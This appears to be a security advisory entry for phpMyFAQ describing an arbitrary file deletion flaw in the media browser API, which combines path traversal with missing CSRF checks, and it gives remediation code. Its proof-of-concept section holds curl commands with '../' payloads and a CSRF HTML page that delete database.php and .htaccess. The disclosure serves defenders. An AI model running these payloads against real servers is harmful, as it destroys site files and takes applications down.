+ "details": "### Summary\nThe `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`&`, `'`, `\"`, `<`, `>`) and characters with ASCII value < 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php`\n\n**Lines 43-66:**\n```php\n#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]\npublic function index(Request $request): JsonResponse|Response\n{\n $this->userHasPermission(PermissionType::FAQ_EDIT);\n // ...\n $data = json_decode($request->getContent());\n $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);\n\n if ($action === 'fileRemove') {\n $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);\n $file = PMF_CONTENT_DIR . '/user/images/' . $file;\n\n if (file_exists($file)) {\n unlink($file);\n }\n // Returns success without checking if deletion was within intended directory\n }\n}\n```\n\n**Root Causes:**\n1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters.\n2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48.\n3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory.\n4. **HTTP method mismatch:** The route is defined as `methods: ['GET']` but reads the request body via `$request->getContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.\n\n**Comparison with secure implementation in the same codebase:**\n\nThe `ImageController::upload()` method (same directory) properly validates file names:\n```php\nif (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", (string) $file->getClientOriginalName())) {\n // Rejects files with path traversal sequences\n}\n```\n\nThe `FilesystemStorage::normalizePath()` method also properly validates paths:\n\n```php\nforeach ($segments as $segment) {\n if ($segment === '..' || $segment === '') {\n throw new StorageException('Invalid storage path.');\n }\n}\n```\n\n### PoC\n\n**Direct exploitation (requires authenticated admin session):**\n```bash\n# Delete the database configuration file\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n -H 'Content-Type: application/json' \\\n -H 'Cookie: PHPSESSID=valid_admin_session' \\\n -d '{\"action\":\"fileRemove\",\"name\":\"../../../content/core/config/database.php\"}'\n\n# Delete the .htaccess file to disable Apache security rules\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n -H 'Content-Type: application/json' \\\n -H 'Cookie: PHPSESSID=valid_admin_session' \\\n -d '{\"action\":\"fileRemove\",\"name\":\"../../../.htaccess\"}'\n```\n\n**CSRF exploitation (attacker hosts this HTML page):**\n```html\n<html>\n<body>\n<script>\nfetch('https://target.example.com/admin/api/media-browser', {\n method: 'GET',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({\n action: 'fileRemove',\n name: '../../../content/core/config/database.php'\n }),\n credentials: 'include'\n});\n</script>\n</body>\n</html>\n```\n\nWhen an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application.\n\n### Impact\n\n- **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss).\n- **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files.\n- **Data loss:** Arbitrary file deletion on the server filesystem.\n- **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.\n\n\n### Remediation\n\n1. **Add path traversal validation:**\n```php\nif ($action === 'fileRemove') {\n $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));\n $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);\n $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');\n\n if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {\n return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);\n }\n\n if (file_exists($targetPath)) {\n unlink($targetPath);\n }\n}\n```\n\n2. **Add CSRF protection:**\n```php\nif (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {\n return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);\n}\n```\n\n3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments